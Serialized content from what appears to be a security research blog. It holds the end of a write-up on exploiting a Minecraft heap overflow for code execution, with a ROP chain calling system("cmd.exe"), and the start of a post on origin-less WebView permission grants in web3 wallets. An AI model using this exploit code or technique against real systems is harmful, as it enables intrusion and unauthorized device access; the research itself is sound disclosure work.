",{"type":23,"tag":94,"props":155178,"children":155180},{"className":155179},[],[155181],{"type":28,"value":154658},{"type":28,"value":282},{"type":23,"tag":24,"props":155184,"children":155185},{},[155186,155188,155194,155196,155201,155203,155209,155211,155216,155218,155223,155225,155230,155232,155237,155239,155244,155246,155251],{"type":28,"value":155187},"When the call occurs, ",{"type":23,"tag":94,"props":155189,"children":155191},{"className":155190},[],[155192],{"type":28,"value":155193},"xchg rsp, rax",{"type":28,"value":155195}," swaps the stack pointer with this controlled pointer inside ",{"type":23,"tag":94,"props":155197,"children":155199},{"className":155198},[],[155200],{"type":28,"value":154658},{"type":28,"value":155202},", effectively moving ",{"type":23,"tag":94,"props":155204,"children":155206},{"className":155205},[],[155207],{"type":28,"value":155208},"rsp",{"type":28,"value":155210}," into our ROP region. After the ",{"type":23,"tag":94,"props":155212,"children":155214},{"className":155213},[],[155215],{"type":28,"value":10239},{"type":28,"value":155217},", execution continues at ",{"type":23,"tag":94,"props":155219,"children":155221},{"className":155220},[],[155222],{"type":28,"value":155105},{"type":28,"value":155224},", which advances ",{"type":23,"tag":94,"props":155226,"children":155228},{"className":155227},[],[155229],{"type":28,"value":155208},{"type":28,"value":155231}," by ",{"type":23,"tag":94,"props":155233,"children":155235},{"className":155234},[],[155236],{"type":28,"value":43784},{"type":28,"value":155238}," bytes, skipping over the padding and the ",{"type":23,"tag":94,"props":155240,"children":155242},{"className":155241},[],[155243],{"type":28,"value":155112},{"type":28,"value":155245}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":23,"tag":94,"props":155247,"children":155249},{"className":155248},[],[155250],{"type":28,"value":155112},{"type":28,"value":155252},") begins executing.",{"type":23,"tag":837,"props":155254,"children":155256},{"id":155255},"rop-chain",[155257],{"type":28,"value":155258},"ROP Chain",{"type":23,"tag":24,"props":155260,"children":155261},{},[155262,155264,155270,155272,155277],{"type":28,"value":155263},"For the demo, the ROP chain simply calls ",{"type":23,"tag":94,"props":155265,"children":155267},{"className":155266},[],[155268],{"type":28,"value":155269},"system(\"cmd.exe\")",{"type":28,"value":155271},". Because Minecraft does not use ",{"type":23,"tag":94,"props":155273,"children":155275},{"className":155274},[],[155276],{"type":28,"value":131002},{"type":28,"value":155278},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":23,"tag":24,"props":155280,"children":155281},{},[155282,155284,155290,155292,155298,155300,155305,155307,155313,155315,155320],{"type":28,"value":155283},"This is straightforward: the chain first calls ",{"type":23,"tag":94,"props":155285,"children":155287},{"className":155286},[],[155288],{"type":28,"value":155289},"GetModuleHandle(\"ucrtbase.dll\")",{"type":28,"value":155291}," to obtain the base address of ",{"type":23,"tag":94,"props":155293,"children":155295},{"className":155294},[],[155296],{"type":28,"value":155297},"ucrtbase.dll",{"type":28,"value":155299}," (which exports ",{"type":23,"tag":94,"props":155301,"children":155303},{"className":155302},[],[155304],{"type":28,"value":131002},{"type":28,"value":155306},"). It then calls ",{"type":23,"tag":94,"props":155308,"children":155310},{"className":155309},[],[155311],{"type":28,"value":155312},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":28,"value":155314}," to retrieve the function’s address. Finally, it invokes ",{"type":23,"tag":94,"props":155316,"children":155318},{"className":155317},[],[155319],{"type":28,"value":131002},{"type":28,"value":155321}," with the \"cmd.exe\" string.",{"type":23,"tag":24,"props":155323,"children":155324},{},[155325],{"type":28,"value":155326},"In the exploit script, the ROP chain looks something like this:",{"type":23,"tag":304,"props":155328,"children":155330},{"code":155329,"language":18698,"meta":7,"className":18699,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[155331],{"type":23,"tag":94,"props":155332,"children":155333},{"__ignoreMap":7},[155334,155342,155350,155375,155383,155391,155398,155406,155414,155441,155454,155467,155488,155517,155546,155553,155561,155574,155582,155618,155626,155633,155641,155648,155673,155684,155696],{"type":23,"tag":314,"props":155335,"children":155336},{"class":316,"line":317},[155337],{"type":23,"tag":314,"props":155338,"children":155339},{"style":374},[155340],{"type":28,"value":155341},"# get the address of `GetModuleHandle` to `rax`\n",{"type":23,"tag":314,"props":155343,"children":155344},{"class":316,"line":370},[155345],{"type":23,"tag":314,"props":155346,"children":155347},{"style":338},[155348],{"type":28,"value":155349},"rop.gadget(pop_r8)\n",{"type":23,"tag":314,"props":155351,"children":155352},{"class":316,"line":380},[155353,155358,155362,155367,155371],{"type":23,"tag":314,"props":155354,"children":155355},{"style":338},[155356],{"type":28,"value":155357},"rop.gadget(addr_get_module_handle_a ",{"type":23,"tag":314,"props":155359,"children":155360},{"style":354},[155361],{"type":28,"value":1051},{"type":23,"tag":314,"props":155363,"children":155364},{"style":321},[155365],{"type":28,"value":155366}," 0x",{"type":23,"tag":314,"props":155368,"children":155369},{"style":1054},[155370],{"type":28,"value":134119},{"type":23,"tag":314,"props":155372,"children":155373},{"style":338},[155374],{"type":28,"value":2414},{"type":23,"tag":314,"props":155376,"children":155377},{"class":316,"line":1091},[155378],{"type":23,"tag":314,"props":155379,"children":155380},{"style":374},[155381],{"type":28,"value":155382},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":23,"tag":314,"props":155384,"children":155385},{"class":316,"line":1141},[155386],{"type":23,"tag":314,"props":155387,"children":155388},{"style":338},[155389],{"type":28,"value":155390},"rop.gadget(mov_rax_r8_28)\n",{"type":23,"tag":314,"props":155392,"children":155393},{"class":316,"line":1173},[155394],{"type":23,"tag":314,"props":155395,"children":155396},{"emptyLinePlaceholder":18},[155397],{"type":28,"value":1088},{"type":23,"tag":314,"props":155399,"children":155400},{"class":316,"line":1208},[155401],{"type":23,"tag":314,"props":155402,"children":155403},{"style":374},[155404],{"type":28,"value":155405},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":23,"tag":314,"props":155407,"children":155408},{"class":316,"line":1216},[155409],{"type":23,"tag":314,"props":155410,"children":155411},{"style":338},[155412],{"type":28,"value":155413},"rop.gadget(pop_rcx)\n",{"type":23,"tag":314,"props":155415,"children":155416},{"class":316,"line":1301},[155417,155422,155427,155432,155436],{"type":23,"tag":314,"props":155418,"children":155419},{"style":338},[155420],{"type":28,"value":155421},"rop.gadget(",{"type":23,"tag":314,"props":155423,"children":155424},{"style":321},[155425],{"type":28,"value":155426},"0x",{"type":23,"tag":314,"props":155428,"children":155429},{"style":1054},[155430],{"type":28,"value":155431},"7468B68",{"type":23,"tag":314,"props":155433,"children":155434},{"style":338},[155435],{"type":28,"value":2343},{"type":23,"tag":314,"props":155437,"children":155438},{"style":374},[155439],{"type":28,"value":155440},"# offset of \"ucrtbase.dll\" string\n",{"type":23,"tag":314,"props":155442,"children":155443},{"class":316,"line":1343},[155444,155449],{"type":23,"tag":314,"props":155445,"children":155446},{"style":338},[155447],{"type":28,"value":155448},"rop.gadget(ret) ",{"type":23,"tag":314,"props":155450,"children":155451},{"style":374},[155452],{"type":28,"value":155453},"# movaps alignment\n",{"type":23,"tag":314,"props":155455,"children":155456},{"class":316,"line":1351},[155457,155462],{"type":23,"tag":314,"props":155458,"children":155459},{"style":338},[155460],{"type":28,"value":155461},"rop.gadget(push_rax_ret) ",{"type":23,"tag":314,"props":155463,"children":155464},{"style":374},[155465],{"type":28,"value":155466},"# calls `GetModuleHandle`\n",{"type":23,"tag":314,"props":155468,"children":155469},{"class":316,"line":1387},[155470,155475,155479,155484],{"type":23,"tag":314,"props":155471,"children":155472},{"style":338},[155473],{"type":28,"value":155474},"rop.literal(u64(",{"type":23,"tag":314,"props":155476,"children":155477},{"style":321},[155478],{"type":28,"value":2477},{"type":23,"tag":314,"props":155480,"children":155481},{"style":1245},[155482],{"type":28,"value":155483},"\"ucrtbase\"",{"type":23,"tag":314,"props":155485,"children":155486},{"style":338},[155487],{"type":28,"value":18949},{"type":23,"tag":314,"props":155489,"children":155490},{"class":316,"line":1422},[155491,155495,155499,155504,155509,155513],{"type":23,"tag":314,"props":155492,"children":155493},{"style":338},[155494],{"type":28,"value":155474},{"type":23,"tag":314,"props":155496,"children":155497},{"style":321},[155498],{"type":28,"value":2477},{"type":23,"tag":314,"props":155500,"children":155501},{"style":1245},[155502],{"type":28,"value":155503},"\".dll",{"type":23,"tag":314,"props":155505,"children":155506},{"style":47623},[155507],{"type":28,"value":155508},"\\x00\\x00\\x00\\x00",{"type":23,"tag":314,"props":155510,"children":155511},{"style":1245},[155512],{"type":28,"value":19297},{"type":23,"tag":314,"props":155514,"children":155515},{"style":338},[155516],{"type":28,"value":18949},{"type":23,"tag":314,"props":155518,"children":155519},{"class":316,"line":1430},[155520,155524,155528,155533,155538,155542],{"type":23,"tag":314,"props":155521,"children":155522},{"style":338},[155523],{"type":28,"value":155474},{"type":23,"tag":314,"props":155525,"children":155526},{"style":321},[155527],{"type":28,"value":2477},{"type":23,"tag":314,"props":155529,"children":155530},{"style":1245},[155531],{"type":28,"value":155532},"\"system",{"type":23,"tag":314,"props":155534,"children":155535},{"style":47623},[155536],{"type":28,"value":155537},"\\x00\\x00",{"type":23,"tag":314,"props":155539,"children":155540},{"style":1245},[155541],{"type":28,"value":19297},{"type":23,"tag":314,"props":155543,"children":155544},{"style":338},[155545],{"type":28,"value":18949},{"type":23,"tag":314,"props":155547,"children":155548},{"class":316,"line":1452},[155549],{"type":23,"tag":314,"props":155550,"children":155551},{"emptyLinePlaceholder":18},[155552],{"type":28,"value":1088},{"type":23,"tag":314,"props":155554,"children":155555},{"class":316,"line":1497},[155556],{"type":23,"tag":314,"props":155557,"children":155558},{"style":374},[155559],{"type":28,"value":155560},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":23,"tag":314,"props":155562,"children":155563},{"class":316,"line":1539},[155564,155569],{"type":23,"tag":314,"props":155565,"children":155566},{"style":338},[155567],{"type":28,"value":155568},"rop.gadget(xchg_rcx_rax) ",{"type":23,"tag":314,"props":155570,"children":155571},{"style":374},[155572],{"type":28,"value":155573},"# move the return value of `GetModuleHandle` to rcx\n",{"type":23,"tag":314,"props":155575,"children":155576},{"class":316,"line":1548},[155577],{"type":23,"tag":314,"props":155578,"children":155579},{"style":338},[155580],{"type":28,"value":155581},"rop.gadget(pop_rdx)\n",{"type":23,"tag":314,"props":155583,"children":155584},{"class":316,"line":1584},[155585,155589,155593,155597,155601,155605,155609,155613],{"type":23,"tag":314,"props":155586,"children":155587},{"style":338},[155588],{"type":28,"value":155421},{"type":23,"tag":314,"props":155590,"children":155591},{"style":321},[155592],{"type":28,"value":155426},{"type":23,"tag":314,"props":155594,"children":155595},{"style":1054},[155596],{"type":28,"value":155431},{"type":23,"tag":314,"props":155598,"children":155599},{"style":354},[155600],{"type":28,"value":1572},{"type":23,"tag":314,"props":155602,"children":155603},{"style":321},[155604],{"type":28,"value":155366},{"type":23,"tag":314,"props":155606,"children":155607},{"style":1054},[155608],{"type":28,"value":88505},{"type":23,"tag":314,"props":155610,"children":155611},{"style":338},[155612],{"type":28,"value":2343},{"type":23,"tag":314,"props":155614,"children":155615},{"style":374},[155616],{"type":28,"value":155617},"# offset of \"system\" string\n",{"type":23,"tag":314,"props":155619,"children":155620},{"class":316,"line":1617},[155621],{"type":23,"tag":314,"props":155622,"children":155623},{"style":338},[155624],{"type":28,"value":155625},"rop.gadget(get_proc_addr)\n",{"type":23,"tag":314,"props":155627,"children":155628},{"class":316,"line":1625},[155629],{"type":23,"tag":314,"props":155630,"children":155631},{"emptyLinePlaceholder":18},[155632],{"type":28,"value":1088},{"type":23,"tag":314,"props":155634,"children":155635},{"class":316,"line":1660},[155636],{"type":23,"tag":314,"props":155637,"children":155638},{"style":374},[155639],{"type":28,"value":155640},"# call `system(\"cmd.exe\")`\n",{"type":23,"tag":314,"props":155642,"children":155643},{"class":316,"line":1708},[155644],{"type":23,"tag":314,"props":155645,"children":155646},{"style":338},[155647],{"type":28,"value":155413},{"type":23,"tag":314,"props":155649,"children":155650},{"class":316,"line":1743},[155651,155655,155659,155664,155668],{"type":23,"tag":314,"props":155652,"children":155653},{"style":338},[155654],{"type":28,"value":155421},{"type":23,"tag":314,"props":155656,"children":155657},{"style":321},[155658],{"type":28,"value":155426},{"type":23,"tag":314,"props":155660,"children":155661},{"style":1054},[155662],{"type":28,"value":155663},"7468DB8",{"type":23,"tag":314,"props":155665,"children":155666},{"style":338},[155667],{"type":28,"value":2343},{"type":23,"tag":314,"props":155669,"children":155670},{"style":374},[155671],{"type":28,"value":155672},"# offset of \"cmd.exe\" string\n",{"type":23,"tag":314,"props":155674,"children":155675},{"class":316,"line":1751},[155676,155680],{"type":23,"tag":314,"props":155677,"children":155678},{"style":338},[155679],{"type":28,"value":155448},{"type":23,"tag":314,"props":155681,"children":155682},{"style":374},[155683],{"type":28,"value":155453},{"type":23,"tag":314,"props":155685,"children":155686},{"class":316,"line":1791},[155687,155691],{"type":23,"tag":314,"props":155688,"children":155689},{"style":338},[155690],{"type":28,"value":155461},{"type":23,"tag":314,"props":155692,"children":155693},{"style":374},[155694],{"type":28,"value":155695},"# calls `system`\n",{"type":23,"tag":314,"props":155697,"children":155698},{"class":316,"line":1805},[155699,155703,155707,155712,155717,155721],{"type":23,"tag":314,"props":155700,"children":155701},{"style":338},[155702],{"type":28,"value":155474},{"type":23,"tag":314,"props":155704,"children":155705},{"style":321},[155706],{"type":28,"value":2477},{"type":23,"tag":314,"props":155708,"children":155709},{"style":1245},[155710],{"type":28,"value":155711},"\"cmd.exe",{"type":23,"tag":314,"props":155713,"children":155714},{"style":47623},[155715],{"type":28,"value":155716},"\\x00",{"type":23,"tag":314,"props":155718,"children":155719},{"style":1245},[155720],{"type":28,"value":19297},{"type":23,"tag":314,"props":155722,"children":155723},{"style":338},[155724],{"type":28,"value":18949},{"type":23,"tag":837,"props":155726,"children":155728},{"id":155727},"demo",[155729],{"type":28,"value":155730},"Demo",{"type":23,"tag":24,"props":155732,"children":155733},{},[155734],{"type":28,"value":155735},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":23,"tag":131108,"props":155737,"children":155740},{"className":155738,"controls":18},[141075,155739],"blog-video-wide",[155741,155742,155746],{"type":28,"value":141078},{"type":23,"tag":140314,"props":155743,"children":155745},{"src":155744,"type":131106},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":28,"value":141084},{"type":23,"tag":61,"props":155748,"children":155749},{"id":28180},[155750],{"type":28,"value":18185},{"type":23,"tag":24,"props":155752,"children":155753},{},[155754],{"type":28,"value":155755},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":23,"tag":24,"props":155757,"children":155758},{},[155759],{"type":28,"value":155760},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":23,"tag":24,"props":155762,"children":155763},{},[155764],{"type":28,"value":155765},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":23,"tag":2096,"props":155767,"children":155768},{},[155769],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":155771},[155772,155776,155781,155792],{"id":146433,"depth":370,"text":146436,"children":155773},[155774,155775],{"id":146468,"depth":380,"text":146471},{"id":146484,"depth":380,"text":146487},{"id":146505,"depth":370,"text":146508,"children":155777},[155778,155779,155780],{"id":146521,"depth":380,"text":146524},{"id":146609,"depth":380,"text":146612},{"id":148909,"depth":380,"text":148912},{"id":4674,"depth":370,"text":4677,"children":155782},[155783,155784,155785,155786,155787,155788,155789,155790,155791],{"id":149016,"depth":380,"text":149019},{"id":149041,"depth":380,"text":149044},{"id":149178,"depth":380,"text":149181},{"id":151342,"depth":380,"text":151345},{"id":151704,"depth":380,"text":151707},{"id":152524,"depth":380,"text":152527},{"id":154637,"depth":380,"text":154640},{"id":155255,"depth":380,"text":155258},{"id":155727,"depth":380,"text":155730},{"id":28180,"depth":370,"text":18185},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":155797,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":155798,"description":155799,"date":155800,"author":155801,"image":155803,"isFeatured":18,"onBlogPage":18,"tags":155805,"body":155807,"_type":2117,"_id":158130,"_source":2119,"_file":158131,"_stem":158132,"_extension":2122},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[30451,30450,155802],"nikolaos",{"src":155804,"width":96520,"height":12871},"/posts/insecure-webview-integrations/title.png",[31388,131214,155806],"webview",{"type":20,"children":155808,"toc":158117},[155809,155814,155819,155825,155830,155835,155840,155846,155851,155857,155879,155892,155912,155926,155932,155946,155954,155959,155965,155970,155979,156000,156144,156149,156155,156160,156165,156179,156183,156188,156206,157634,157638,157643,157655,157664,157669,157675,157697,157705,157710,157716,157721,157739,157744,157750,157763,158045,158073,158086,158091,158104,158108,158113],{"type":23,"tag":24,"props":155810,"children":155811},{},[155812],{"type":28,"value":155813},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":23,"tag":24,"props":155815,"children":155816},{},[155817],{"type":28,"value":155818},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":23,"tag":54,"props":155820,"children":155822},{"id":155821},"exploiting-mobile-webviews",[155823],{"type":28,"value":155824},"Exploiting Mobile WebViews",{"type":23,"tag":24,"props":155826,"children":155827},{},[155828],{"type":28,"value":155829},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":23,"tag":24,"props":155831,"children":155832},{},[155833],{"type":28,"value":155834},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":23,"tag":24,"props":155836,"children":155837},{},[155838],{"type":28,"value":155839},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":23,"tag":61,"props":155841,"children":155843},{"id":155842},"handling-webview-permissions",[155844],{"type":28,"value":155845},"Handling WebView permissions",{"type":23,"tag":24,"props":155847,"children":155848},{},[155849],{"type":28,"value":155850},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":23,"tag":837,"props":155852,"children":155854},{"id":155853},"android",[155855],{"type":28,"value":155856},"Android",{"type":23,"tag":24,"props":155858,"children":155859},{},[155860,155862,155869,155871,155877],{"type":28,"value":155861},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":23,"tag":31,"props":155863,"children":155866},{"href":155864,"rel":155865},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[35],[155867],{"type":28,"value":155868},"onPermissionRequest",{"type":28,"value":155870},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":23,"tag":94,"props":155872,"children":155874},{"className":155873},[],[155875],{"type":28,"value":155876},"PermissionRequest",{"type":28,"value":155878}," object where the WebView developers must decide whether to grant or deny it.",{"type":23,"tag":2186,"props":155880,"children":155881},{},[155882],{"type":23,"tag":24,"props":155883,"children":155884},{},[155885,155887,155890],{"type":28,"value":155886},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":23,"tag":314,"props":155888,"children":155889},{},[],{"type":28,"value":155891},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":23,"tag":24,"props":155893,"children":155894},{},[155895,155897,155903,155905,155911],{"type":28,"value":155896},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":23,"tag":94,"props":155898,"children":155900},{"className":155899},[],[155901],{"type":28,"value":155902},"getOrigin()",{"type":28,"value":155904}," and the requested permissions with ",{"type":23,"tag":94,"props":155906,"children":155908},{"className":155907},[],[155909],{"type":28,"value":155910},"getResources()",{"type":28,"value":282},{"type":23,"tag":24,"props":155913,"children":155914},{},[155915,155917,155924],{"type":28,"value":155916},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":23,"tag":31,"props":155918,"children":155921},{"href":155919,"rel":155920},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[35],[155922],{"type":28,"value":155923},"webview_shell",{"type":28,"value":155925},". In this instance, no origin checks are performed.",{"type":23,"tag":837,"props":155927,"children":155929},{"id":155928},"ios",[155930],{"type":28,"value":155931},"iOS",{"type":23,"tag":24,"props":155933,"children":155934},{},[155935,155937,155944],{"type":28,"value":155936},"On the contrary, iOS ",{"type":23,"tag":31,"props":155938,"children":155941},{"href":155939,"rel":155940},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[35],[155942],{"type":28,"value":155943},"documentation",{"type":28,"value":155945}," states that:",{"type":23,"tag":2186,"props":155947,"children":155948},{},[155949],{"type":23,"tag":24,"props":155950,"children":155951},{},[155952],{"type":28,"value":155953},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":23,"tag":24,"props":155955,"children":155956},{},[155957],{"type":28,"value":155958},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":23,"tag":61,"props":155960,"children":155962},{"id":155961},"the-shortcomings-of-webview-implementations",[155963],{"type":28,"value":155964},"The shortcomings of WebView implementations",{"type":23,"tag":24,"props":155966,"children":155967},{},[155968],{"type":28,"value":155969},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":23,"tag":192,"props":155971,"children":155972},{"style":194},[155973],{"type":23,"tag":197,"props":155974,"children":155978},{"src":155975,"alt":155976,"style":155977},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":155980,"children":155981},{},[155982,155984,155990,155992,155998],{"type":28,"value":155983},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":23,"tag":94,"props":155985,"children":155987},{"className":155986},[],[155988],{"type":28,"value":155989},"react-native-webview",{"type":28,"value":155991},". If we take a look at how they handle a request that reaches the ",{"type":23,"tag":31,"props":155993,"children":155996},{"href":155994,"rel":155995},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[35],[155997],{"type":28,"value":155868},{"type":28,"value":155999}," method, we see a similar pattern.",{"type":23,"tag":304,"props":156001,"children":156005},{"className":156002,"code":156003,"language":156004,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n request.grant(grantedPermissions.toArray(new String[0]));\n grantedPermissions = null;\n return;\n}\n","java",[156006],{"type":23,"tag":94,"props":156007,"children":156008},{"__ignoreMap":7},[156009,156017,156046,156106,156126,156137],{"type":23,"tag":314,"props":156010,"children":156011},{"class":316,"line":317},[156012],{"type":23,"tag":314,"props":156013,"children":156014},{"style":374},[156015],{"type":28,"value":156016},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":23,"tag":314,"props":156018,"children":156019},{"class":316,"line":370},[156020,156024,156028,156033,156037,156042],{"type":23,"tag":314,"props":156021,"children":156022},{"style":2284},[156023],{"type":28,"value":14821},{"type":23,"tag":314,"props":156025,"children":156026},{"style":338},[156027],{"type":28,"value":2324},{"type":23,"tag":314,"props":156029,"children":156030},{"style":360},[156031],{"type":28,"value":156032},"requestedAndroidPermissions",{"type":23,"tag":314,"props":156034,"children":156035},{"style":338},[156036],{"type":28,"value":282},{"type":23,"tag":314,"props":156038,"children":156039},{"style":332},[156040],{"type":28,"value":156041},"isEmpty",{"type":23,"tag":314,"props":156043,"children":156044},{"style":338},[156045],{"type":28,"value":91273},{"type":23,"tag":314,"props":156047,"children":156048},{"class":316,"line":380},[156049,156054,156058,156063,156067,156072,156076,156081,156085,156089,156094,156098,156102],{"type":23,"tag":314,"props":156050,"children":156051},{"style":360},[156052],{"type":28,"value":156053}," request",{"type":23,"tag":314,"props":156055,"children":156056},{"style":338},[156057],{"type":28,"value":282},{"type":23,"tag":314,"props":156059,"children":156060},{"style":332},[156061],{"type":28,"value":156062},"grant",{"type":23,"tag":314,"props":156064,"children":156065},{"style":338},[156066],{"type":28,"value":341},{"type":23,"tag":314,"props":156068,"children":156069},{"style":360},[156070],{"type":28,"value":156071},"grantedPermissions",{"type":23,"tag":314,"props":156073,"children":156074},{"style":338},[156075],{"type":28,"value":282},{"type":23,"tag":314,"props":156077,"children":156078},{"style":332},[156079],{"type":28,"value":156080},"toArray",{"type":23,"tag":314,"props":156082,"children":156083},{"style":338},[156084],{"type":28,"value":341},{"type":23,"tag":314,"props":156086,"children":156087},{"style":2284},[156088],{"type":28,"value":14364},{"type":23,"tag":314,"props":156090,"children":156091},{"style":2674},[156092],{"type":28,"value":156093}," String",{"type":23,"tag":314,"props":156095,"children":156096},{"style":338},[156097],{"type":28,"value":1312},{"type":23,"tag":314,"props":156099,"children":156100},{"style":1054},[156101],{"type":28,"value":1600},{"type":23,"tag":314,"props":156103,"children":156104},{"style":338},[156105],{"type":28,"value":102764},{"type":23,"tag":314,"props":156107,"children":156108},{"class":316,"line":1091},[156109,156114,156118,156122],{"type":23,"tag":314,"props":156110,"children":156111},{"style":338},[156112],{"type":28,"value":156113}," grantedPermissions ",{"type":23,"tag":314,"props":156115,"children":156116},{"style":354},[156117],{"type":28,"value":1102},{"type":23,"tag":314,"props":156119,"children":156120},{"style":321},[156121],{"type":28,"value":69522},{"type":23,"tag":314,"props":156123,"children":156124},{"style":338},[156125],{"type":28,"value":2278},{"type":23,"tag":314,"props":156127,"children":156128},{"class":316,"line":1141},[156129,156133],{"type":23,"tag":314,"props":156130,"children":156131},{"style":2284},[156132],{"type":28,"value":16228},{"type":23,"tag":314,"props":156134,"children":156135},{"style":338},[156136],{"type":28,"value":2278},{"type":23,"tag":314,"props":156138,"children":156139},{"class":316,"line":1173},[156140],{"type":23,"tag":314,"props":156141,"children":156142},{"style":338},[156143],{"type":28,"value":386},{"type":23,"tag":24,"props":156145,"children":156146},{},[156147],{"type":28,"value":156148},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":23,"tag":837,"props":156150,"children":156152},{"id":156151},"real-world-exploitation",[156153],{"type":28,"value":156154},"Real world exploitation",{"type":23,"tag":24,"props":156156,"children":156157},{},[156158],{"type":28,"value":156159},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":23,"tag":24,"props":156161,"children":156162},{},[156163],{"type":28,"value":156164},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":23,"tag":24,"props":156166,"children":156167},{},[156168,156170,156177],{"type":28,"value":156169},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":23,"tag":31,"props":156171,"children":156174},{"href":156172,"rel":156173},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[35],[156175],{"type":28,"value":156176},"Justson",{"type":28,"value":156178},", used by a popular wallet in the Stellar ecosystem.",{"type":23,"tag":18130,"props":156180,"children":156181},{"id":38752},[156182],{"type":28,"value":34078},{"type":23,"tag":24,"props":156184,"children":156185},{},[156186],{"type":28,"value":156187},"In order to exploit this 